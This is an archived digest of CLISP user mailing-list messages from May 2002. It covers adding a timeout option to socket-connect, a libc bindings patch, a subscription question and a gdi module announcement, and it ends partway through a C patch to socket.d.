Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri May 24 12:21:02 2002 X-Original-Date: 24 May 2002 15:20:27 -0400 > * In message <87elg1l7ih.fsf@my.gnus.org> > * On the subject of "[clisp-list] socket-connect's timeout" > * Sent on Fri, 24 May 2002 20:34:30 +0200 > * Honorable ignotus-dated-1022610807.c582d1@my.gnus.org writes: > > I think a solution would be for me if I could specify a timeout to > socket-connect. Is that a missing feature or am I off the track? At the moment, there is no way to do this, which, I think, is the only operation where blocking is inevitable now (we have socket-wait, socket-status and listen, which will help you avoid blocking in all other cases). This is a nice feature to have, so I would appreciate it if someone could tell me how to set connection timeout for a socket. I suspect that there is a setsockopt() option for that (SO_RCVTIMEO?), but I am not sure. Do we have a "dedicated TCP/IP guru" here? -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Bus error -- please leave by the rear door. From jjorgens@2gn.com Fri May 24 12:49:18 2002 Received: from [156.27.16.10] (helo=2gn.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17BL3u-00071v-00 for ; Fri, 24 May 2002 12:49:18 -0700 Received: from localhost (jjorgens@localhost) by 2gn.com (8.9.3/8.9.3) with ESMTP id QAA05197 for ; Fri, 24 May 2002 16:02:29 -0400 From: John Jorgensen To: clisp-list@lists.sourceforge.net Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] problem with linuxlibc6 bindings module Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri May 24 12:50:03 2002 X-Original-Date: Fri, 24 May 2002 16:02:29 -0400 (EDT) I couldn't compile clisp with the linuxlibc6 bindings without applying the patch shown below. I don't know if read and write are equivalent to full_read and full_write. Some man pages that I read indicate that they are equivalent. By the way, this problem occurs on my redhat 7.2 and mandrake 8.2 boxes. I have no other test platforms. Thanks for your time, J* *** clisp/modules/bindings/linuxlibc6/linux.lisp.old Fri May 24 15:50:41 2002 --- clisp/modules/bindings/linuxlibc6/linux.lisp Fri May 24 15:51:06 2002 *************** *** 1124,1132 **** (def-call-out close (:arguments (fd int)) (:return-type int)) (def-call-out read (:arguments (fd int) (buf c-pointer) (nbytes size_t)) ! (:return-type ssize_t) (:name "full_read")) (def-call-out write (:arguments (fd int) (buf c-pointer) (nbytes size_t)) ! (:return-type ssize_t) (:name "full_write")) (def-call-out pipe (:arguments (pipedes (c-ptr (c-array int 2)) :out)) (:return-type int)) --- 1124,1132 ---- (def-call-out close (:arguments (fd int)) (:return-type int)) (def-call-out read (:arguments (fd int) (buf c-pointer) (nbytes size_t)) ! (:return-type ssize_t)) (def-call-out write (:arguments (fd int) (buf c-pointer) (nbytes size_t)) ! (:return-type ssize_t)) (def-call-out pipe (:arguments (pipedes (c-ptr (c-array int 2)) :out)) (:return-type int)) From lowdermilk@users.sourceforge.net Fri May 24 13:00:52 2002 Received: from cosium01.intelliden.net ([12.41.186.248]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17BLF6-0007qR-00 for ; Fri, 24 May 2002 13:00:52 -0700 Received: from localhost.intelliden.com (intellid-wdn08a.intelliden.net [12.41.186.17]) by cosium01.intelliden.net with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id K0R71M7V; Fri, 24 May 2002 14:00:37 -0600 Received: (from jlowder@localhost) by localhost.intelliden.com (8.11.6/8.11.6) id g4OJXog03349; Fri, 24 May 2002 13:33:50 -0600 X-Authentication-Warning: localhost.localdomain: jlowder set sender to lowdermilk@users.sourceforge.net using -f Subject: Re: [clisp-list] socket-connect's timeout From: Jason Lowdermilk To: "clisp-list@lists.sourceforge.net" In-Reply-To: References: Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.3 (1.0.3-3) Message-Id: <1022268830.2594.18.camel@orthanc> Mime-Version: 1.0 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri May 24 13:01:05 2002 X-Original-Date: 24 May 2002 13:33:50 -0600 I don't think you can specify the connection timeout, exactly. You can roll your own by setting the socket to non-blocking (ioctl w/ FIONBIO) before calling "connect"; then if connect sets errno to EINPROGRESS you can use "select" with a timeout to implement your own connection timeout. Jason On Fri, 2002-05-24 at 13:20, Sam Steingold wrote: [snip] > is a nice feature to have, so I would appreciate it if someone > could tell me how to set connection timeout for a socket. I suspect > that there is a setsockopt() option for that (SO_RCVTIMEO?), but I am > not sure. Do we have a "dedicated TCP/IP guru" here? > > -- > Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux > > > Bus error -- please leave by the rear door. From jjorgens@2gn.com Fri May 24 13:29:25 2002 Received: from [156.27.16.10] (helo=2gn.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17BLgi-0001x1-00 for ; Fri, 24 May 2002 13:29:25 -0700 Received: from localhost (jjorgens@localhost) by 2gn.com (8.9.3/8.9.3) with ESMTP id QAA05329 for ; Fri, 24 May 2002 16:42:37 -0400 From: John Jorgensen To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] socket-connect's timeout In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri May 24 13:30:03 2002 X-Original-Date: Fri, 24 May 2002 16:42:37 -0400 (EDT) On 24 May 2002, Sam Steingold wrote: > > * In message <87elg1l7ih.fsf@my.gnus.org> > > * On the subject of "[clisp-list] socket-connect's timeout" > > * Sent on Fri, 24 May 2002 20:34:30 +0200 > > * Honorable ignotus-dated-1022610807.c582d1@my.gnus.org writes: > > > > I think a solution would be for me if I could specify a timeout to > > socket-connect. Is that a missing feature or am I off the track? > > At the moment, there is no way to do this, which, I think, is the only > operation where blocking is inevitable now (we have socket-wait, > socket-status and listen, which will help you avoid blocking in all > other cases). > > This is a nice feature to have, so I would appreciate it if someone > could tell me how to set connection timeout for a socket. I suspect > that there is a setsockopt() option for that (SO_RCVTIMEO?), but I am > not sure. Do we have a "dedicated TCP/IP guru" here? Not that I'm an expert on this, but the last time I had to do this in C on linux, I used an alarm. The SO_SNDTIMEO and SO_RCVTIMEO options may or may not work in linux 2.4.x... I read conflicting reports. But I thought those timeouts were for use after the connection is opened. J* From samuel.steingold@verizon.net Fri May 24 13:30:52 2002 Received: from h001.c001.snv.cp.net ([209.228.32.115] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17BLi7-00023y-00 for ; Fri, 24 May 2002 13:30:51 -0700 Received: (cpmta 9931 invoked from network); 24 May 2002 13:30:40 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.115) with SMTP; 24 May 2002 13:30:40 -0700 X-Sent: 24 May 2002 20:30:40 GMT To: John Jorgensen Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] problem with linuxlibc6 bindings module References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 28 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri May 24 13:31:06 2002 X-Original-Date: 24 May 2002 16:30:35 -0400 > * In message > * On the subject of "[clisp-list] problem with linuxlibc6 bindings module" > * Sent on Fri, 24 May 2002 16:02:29 -0400 (EDT) > * Honorable John Jorgensen writes: > > I couldn't compile clisp with the linuxlibc6 bindings without applying > the patch shown below. I don't know if read and write are equivalent > to full_read and full_write. Some man pages that I read indicate that > they are equivalent. full_write and full_read are (were) CLISP internal functions. full_read is now a CPP macro... > By the way, this problem occurs on my redhat 7.2 and mandrake 8.2 > boxes. I have no other test platforms. you forgot to mention that you are using CLISP cvs (unstable development sources). while we are grateful for your bug report, please note that if you are using the CLISP from CVS, you are supposed to subscribe to and send your reports there (note that you have to subscribe to to post there!) -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux I haven't lost my mind -- it's backed up on tape somewhere. From samuel.steingold@verizon.net Fri May 24 13:41:57 2002 Received: from h001.c001.snv.cp.net ([209.228.32.115] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17BLsq-0002h8-00 for ; Fri, 24 May 2002 13:41:56 -0700 Received: (cpmta 17299 invoked from network); 24 May 2002 13:41:50 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.115) with SMTP; 24 May 2002 13:41:50 -0700 X-Sent: 24 May 2002 20:41:50 GMT To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] socket-connect's timeout References: <87elg1l7ih.fsf@my.gnus.org> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 20 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri May 24 13:42:03 2002 X-Original-Date: 24 May 2002 16:41:49 -0400 > * In message > * On the subject of "Re: [clisp-list] socket-connect's timeout" > * Sent on 24 May 2002 15:20:27 -0400 > * I write: > > This is a nice feature to have, so I would appreciate it if someone > could tell me how to set connection timeout for a socket. > Do we have a "dedicated TCP/IP guru" here? Thanks to Jason and John for their insights! The fact that there are two very different suggestions is quite scary: it basically means that there is no standard way to do this. I wonder if any application actually does this. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Don't use force -- get a bigger hammer. From jjwiseman@yahoo.com Fri May 24 16:38:59 2002 Received: from web20901.mail.yahoo.com ([216.136.226.223]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17BOeB-00061B-00 for ; Fri, 24 May 2002 16:38:59 -0700 Message-ID: <20020524233858.87830.qmail@web20901.mail.yahoo.com> Received: from [63.251.211.5] by web20901.mail.yahoo.com via HTTP; Fri, 24 May 2002 16:38:58 PDT From: John Wiseman Subject: Re: [clisp-list] socket-connect's timeout To: clisp-list@lists.sourceforge.net In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri May 24 16:39:02 2002 X-Original-Date: Fri, 24 May 2002 16:38:58 -0700 (PDT) --- Sam Steingold wrote: > Thanks to Jason and John for their insights! The fact that there > are two very different suggestions is quite scary: it basically > means that there is no standard way to do this. > > I wonder if any application actually does this. Yes. I implemented it for cmucl. See . John Wiseman __________________________________________________ Do You Yahoo!? LAUNCH - Your Yahoo! Music Experience http://launch.yahoo.com From jjorgens@2gn.com Fri May 24 17:27:01 2002 Received: from [156.27.16.10] (helo=2gn.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17BPOe-0002gw-00 for ; Fri, 24 May 2002 17:27:01 -0700 Received: from localhost (jjorgens@localhost) by 2gn.com (8.9.3/8.9.3) with ESMTP id UAA06843 for ; Fri, 24 May 2002 20:40:15 -0400 From: John Jorgensen To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] socket-connect's timeout In-Reply-To: <20020524233858.87830.qmail@web20901.mail.yahoo.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri May 24 17:27:05 2002 X-Original-Date: Fri, 24 May 2002 20:40:15 -0400 (EDT) On Fri, 24 May 2002, John Wiseman wrote: > --- Sam Steingold wrote: > > > Thanks to Jason and John for their insights! The fact that there > > are two very different suggestions is quite scary: it basically > > means that there is no standard way to do this. > > > > I wonder if any application actually does this. > > Yes. I implemented it for cmucl. See > . And somewhere in a Stevens book, I saw the alarm technique. I'll try to find an example. It looks like John Wiseman's suggestion is better though. J* From ampy@ich.dvo.ru Fri May 24 17:43:39 2002 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17BPee-0003a6-00 for ; Fri, 24 May 2002 17:43:32 -0700 Received: from ppp106-AS-2.vtc.ru (ppp106-AS-2.vtc.ru [212.16.216.106]) by vtc.ru (8.12.3/8.12.3) with ESMTP id g4P0gxR5008958; Sat, 25 May 2002 11:43:01 +1100 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <554867849.20020525111008@ich.dvo.ru> To: Sam Steingold CC: clisp-list@lists.sourceforge.net Subject: Re[2]: [clisp-list] socket-connect's timeout In-reply-To: References: <87elg1l7ih.fsf@my.gnus.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri May 24 17:44:02 2002 X-Original-Date: Sat, 25 May 2002 11:10:08 +1000 Hello Sam, Saturday, May 25, 2002, 6:41:49 AM, you wrote: >> This is a nice feature to have, so I would appreciate it if someone >> could tell me how to set connection timeout for a socket. >> Do we have a "dedicated TCP/IP guru" here? Sam> Thanks to Jason and John for their insights! Sam> The fact that there are two very different suggestions is quite scary: Sam> it basically means that there is no standard way to do this. IANATCPIPG, but Jason's approach seems standard - it's already used in socket-wait. MSDN: connect ..... If no error occurs, connect returns zero. Otherwise, it returns SOCKET_ERROR, and a specific error code can be retrieved by calling WSAGetLastError. On a blocking socket, the return value indicates success or failure of the connection attempt. With a nonblocking socket, the connection attempt cannot be completed immediately. In this case, connect will return SOCKET_ERROR, and WSAGetLastError will return WSAEWOULDBLOCK. In this case, there are three possible scenarios: -- Use the select function to determine the completion of the connection request by checking to see if the socket is writeable. -- ... (windows specific) -- ... (windows specific) -- Best regards, Arseny mailto:ampy@ich.dvo.ru From jimka@rdrop.com Sat May 25 03:35:27 2002 Received: from mout0.freenet.de ([194.97.50.131]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17BYtT-00089Z-00 for ; Sat, 25 May 2002 03:35:27 -0700 Received: from [194.97.50.144] (helo=mx1.freenet.de) by mout0.freenet.de with esmtp (Exim 4.04) id 17BYtR-0005Jq-00; Sat, 25 May 2002 12:35:25 +0200 Received: from b0ada.pppool.de ([213.7.10.218] helo=rdrop.com) by mx1.freenet.de with asmtp (ID jimka@freenet.de) (Exim 4.04 #2) id 17BYtR-0003Mn-00; Sat, 25 May 2002 12:35:25 +0200 Message-ID: <3CEF4C14.6ED5A611@rdrop.com> From: Jim Newton X-Mailer: Mozilla 4.78 [en] (X11; U; Linux 2.4.9-31 i686) X-Accept-Language: en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] how can i subscribe? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat May 25 03:36:02 2002 X-Original-Date: Sat, 25 May 2002 10:32:20 +0200 how can i subscribe to this list? From ampy@ich.dvo.ru Sat May 25 05:04:10 2002 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17BaFo-0003dg-00 for ; Sat, 25 May 2002 05:02:37 -0700 Received: from ppp74-3640.vtc.ru (ppp74-3640.vtc.ru [212.16.216.74]) by vtc.ru (8.12.3/8.12.3) with ESMTP id g4PC1sR5001939; Sat, 25 May 2002 23:01:56 +1100 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <558521393.20020525230421@ich.dvo.ru> To: Jim Newton CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] how can i subscribe? In-reply-To: <3CEF4C14.6ED5A611@rdrop.com> References: <3CEF4C14.6ED5A611@rdrop.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat May 25 05:05:03 2002 X-Original-Date: Sat, 25 May 2002 23:04:21 +1000 Hello Jim, Saturday, May 25, 2002, 6:32:20 PM, you wrote: Jim> how can i subscribe to this list? Answer: Jim> https://lists.sourceforge.net/lists/listinfo/clisp-list -- Best regards, Arseny mailto:ampy@ich.dvo.ru From tsabin@optonline.net Sat May 25 08:17:30 2002 Received: from ool-43518593.dyn.optonline.net ([67.81.133.147] helo=jetcar.qnz.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17BdIO-0005hH-00 for ; Sat, 25 May 2002 08:17:28 -0700 Received: (from tas@localhost) by jetcar.qnz.org (8.9.3/8.9.3) id LAA29936; Sat, 25 May 2002 11:16:14 -0400 X-Authentication-Warning: jetcar.qnz.org: tas set sender to tas@jetcar.qnz.org using -f To: ignotus-dated-1022610807.c582d1@my.gnus.org Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] socket-connect's timeout References: <87elg1l7ih.fsf@my.gnus.org> From: Todd Sabin In-Reply-To: (Sam Steingold's message of "Fri, 24 May 2002 15:20:27 -0400") Message-ID: Lines: 45 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat May 25 08:18:02 2002 X-Original-Date: 25 May 2002 11:16:14 -0400 Sam Steingold writes: > > * In message <87elg1l7ih.fsf@my.gnus.org> > > * On the subject of "[clisp-list] socket-connect's timeout" > > * Sent on Fri, 24 May 2002 20:34:30 +0200 > > * Honorable ignotus-dated-1022610807.c582d1@my.gnus.org writes: > > > > I think a solution would be for me if I could specify a timeout to > > socket-connect. Is that a missing feature or am I off the track? > > At the moment, there is no way to do this, which, I think, is the only > operation where blocking is inevitable now (we have socket-wait, > socket-status and listen, which will help you avoid blocking in all > other cases). > > This is a nice feature to have, so I would appreciate it if someone > could tell me how to set connection timeout for a socket. I suspect > that there is a setsockopt() option for that (SO_RCVTIMEO?), but I am > not sure. Do we have a "dedicated TCP/IP guru" here? As others have suggested, I think the right way to do this is by putting the socket in non-blocking mode for the connect call. (Coincidentally, I mentioned the same issue a couple days ago on the -devel list in the thread about shutdown.) If you're going to go that route, can I suggest that the actual timeout be done in lisp with socket-status instead of in C? I.e., do something like make a socket-connect% which takes a non-blocking option, and then have (very rougly) (defun socket-connect (... &key timeout) ... (let ((stream (socket-connect% ....))) (when timeout (socket-status (stream . output) timeout)) stream)) The point being to make it possible to do a non-blocking socket-connect, but letting the user have the option of doing his own timeout error handling later. Todd p.s. Even with non-blocking connect, there's still the possibility of blocking during name resolution. Sigh. From dan.stanger@ieee.org Sat May 25 20:46:34 2002 Received: from mail2.hypermall.com ([216.241.37.118]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17BozK-0005xk-00 for ; Sat, 25 May 2002 20:46:34 -0700 Received: from [216.241.42.236] (helo=ieee.org) by mail2.hypermall.com with esmtp (Exim 3.16 #2) id 17BozI-000456-00; Sat, 25 May 2002 21:46:32 -0600 Message-ID: <3CF05B0E.C279E676@ieee.org> From: Dan Stanger Reply-To: dan.stanger@ieee.org X-Mailer: Mozilla 4.79 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: "clisp-list@lists.sourceforge.net" Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] New version of gdi module Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat May 25 20:47:02 2002 X-Original-Date: Sat, 25 May 2002 21:48:30 -0600 I put a new gdi module on my web site www.diac.com/~dxs/gdi.tar.gz. It contains a working version of a program which creates a window, and allows setting callback functions. I would appreciate any comments on it. Dan Stanger From sds@gnu.org Sun May 26 14:15:46 2002 Received: from pool-151-203-42-185.bos.east.verizon.net ([151.203.42.185] helo=loiso.podval.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17C5Mf-0001wa-00 for ; Sun, 26 May 2002 14:15:45 -0700 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.11.6/8.11.6) with ESMTP id g4QLGLf23919 for ; Sun, 26 May 2002 17:16:21 -0400 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] socket-connect's timeout References: <20020524233858.87830.qmail@web20901.mail.yahoo.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20020524233858.87830.qmail@web20901.mail.yahoo.com> Message-ID: Lines: 38 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="=-=-=" Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun May 26 14:16:02 2002 X-Original-Date: 26 May 2002 17:16:21 -0400 --=-=-= all interested parties please try the appended patch. I tested it only on linux, so I am especially interested in what other platform users think. Specifically win32: what's the MS-way to do ioctl/FIONBIO? basically, I added the :timeout keyword arg to SOCKET-ACCEPT and SOCKET-CONNECT so that (socket-accept s :timeout x) == (if (socket-wait s x) (socket-accept s) (error 'timeout)) and similarly for SOCKET-CONNECT. Todd, this is not what you want, I know, you prefer the UNIX way of returning NIL instead of signaling an error. The lisp way (as I understand it) is to return a valid object or to signal an error. You can get the behavior you want using IGNORE-ERRORS, while a careless user might get stuck with SOCKET-CONNECT returning NIL here: (let ((s (socket-connect 80 "www.foo.com" :timeout 1))) (format s "GET /~2%") (read-all s)) if S is NIL, format will succeed, while READ-ALL will probably block trying to read from *STANDARD-INPUT*. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Live free or die. --=-=-= Content-Type: text/x-patch Content-Disposition: attachment; filename=timeout.diff Content-Description: timeout diff Index: socket.d =================================================================== RCS file: /cvsroot/clisp/clisp/src/socket.d,v retrieving revision 1.58 diff -u -w -b -r1.58 socket.d --- socket.d 22 May 2002 17:39:34 -0000 1.58 +++ socket.d 26 May 2002 20:08:37 -0000 @@ -308,13 +308,10 @@ # Look up a host's IP address, then call a user-defined function taking # a `struct sockaddr' and its size, and returning a SOCKET. -typedef SOCKET (*socket_connect_fn) (struct sockaddr * addr, int addrlen); -local SOCKET with_hostname (const char* host, unsigned short port, socket_connect_fn connector); -local SOCKET with_hostname(host,port,connector) - var const char* host; - var unsigned short port; - var socket_connect_fn connector; - { +typedef SOCKET (*socket_connect_fn_t) (struct sockaddr * addr, int addrlen, + void* opts); +local SOCKET with_hostname (const char* host, unsigned short port, + socket_connect_fn_t connector, void* opts) { #ifdef HAVE_INET_PTON #ifdef HAVE_IPV6 { @@ -322,7 +319,8 @@ if (inet_pton(AF_INET6,host,&inaddr.sin6_addr) > 0) { inaddr.sin6_family = AF_INET6; inaddr.sin6_port = htons(port); - return connector((struct sockaddr *) &inaddr, sizeof(struct sockaddr_in6)); + return connector((struct sockaddr *) &inaddr, + sizeof(struct sockaddr_in6), opts); } } #endif @@ -331,7 +329,8 @@ if (inet_pton(AF_INET,host,&inaddr.sin_addr) > 0) { inaddr.sin_family = AF_INET; inaddr.sin_port = htons(port); - return connector((struct sockaddr *) &inaddr, sizeof(struct sockaddr_in)); + return connector((struct sockaddr *) &inaddr, + sizeof(struct sockaddr_in), opts); } } #else @@ -344,7 +343,8 @@ inaddr.sin_family = AF_INET; inaddr.sin_addr.s_addr = hostinetaddr; inaddr.sin_port = htons(port); - return connector((struct sockaddr *) &inaddr, sizeof(struct sockaddr_in)); + return connector((struct sockaddr *) &inaddr, + sizeof(struct sockaddr_in), opts); } } #endif @@ -361,7 +361,8 @@ inaddr.sin6_family = AF_INET6; inaddr.sin6_addr = *(struct in6_addr *)host_ptr->h_addr; inaddr.sin6_port = htons(port); - return connector((struct sockaddr *) &inaddr, sizeof(struct sockaddr_in6)); + return connector((struct sockaddr *) &inaddr, + sizeof(struct sockaddr_in6), opts); } else #endif if (host_ptr->h_addrtype == AF_INET) { @@ -370,9 +371,10 @@ inaddr.sin_family = AF_INET; inaddr.sin_addr = *(struct in_addr *)host_ptr->h_addr; inaddr.sin_port = htons(port); - return connector((struct sockaddr *) &inaddr, sizeof(struct sockaddr_in)); - } else { - sock_set_errno(EPROTOTYPE); return INVALID_SOCKET; # Not an Internet host! + return connector((struct sockaddr *) &inaddr, + sizeof(struct sockaddr_in), opts); + } else { # Not an Internet host! + sock_set_errno(EPROTOTYPE); return INVALID_SOCKET; } } } @@ -435,21 +437,19 @@ #endif #ifdef TCPCONN -local SOCKET connect_to_x_via_ip (struct sockaddr * addr, int addrlen); -local SOCKET connect_to_x_via_ip(addr,addrlen) - var struct sockaddr * addr; - var int addrlen; - { +local SOCKET connect_to_x_via_ip (struct sockaddr * addr, int addrlen, + void* ignore) { var SOCKET fd; var int retries = 3; # number of retries on ECONNREFUSED + (void)(ignore); # no options -- ignore do { if ((fd = socket((int) addr->sa_family, SOCK_STREAM, 0)) == INVALID_SOCKET) return INVALID_SOCKET; #ifdef TCP_NODELAY - # turn off TCP coalescence (the bandwidth saving Nagle algorithm) - { + { # turn off TCP coalescence (the bandwidth saving Nagle algorithm) int tmp = 1; - setsockopt(fd, IPPROTO_TCP, TCP_NODELAY, (SETSOCKOPT_ARG_T)&tmp, sizeof(int)); + setsockopt(fd, IPPROTO_TCP, TCP_NODELAY, (SETSOCKOPT_ARG_T)&tmp, + sizeof(int)); } #endif # Connect to the socket. @@ -562,9 +562,9 @@ var unsigned short port = X_TCP_PORT+display; if (host[0] == '\0') { get_hostname(host =); - fd = with_hostname(host,port,&connect_to_x_via_ip); + fd = with_hostname(host,port,&connect_to_x_via_ip,NULL); } else { - fd = with_hostname(host,port,&connect_to_x_via_ip); + fd = with_hostname(host,port,&connect_to_x_via_ip,NULL); } if (fd == INVALID_SOCKET) return 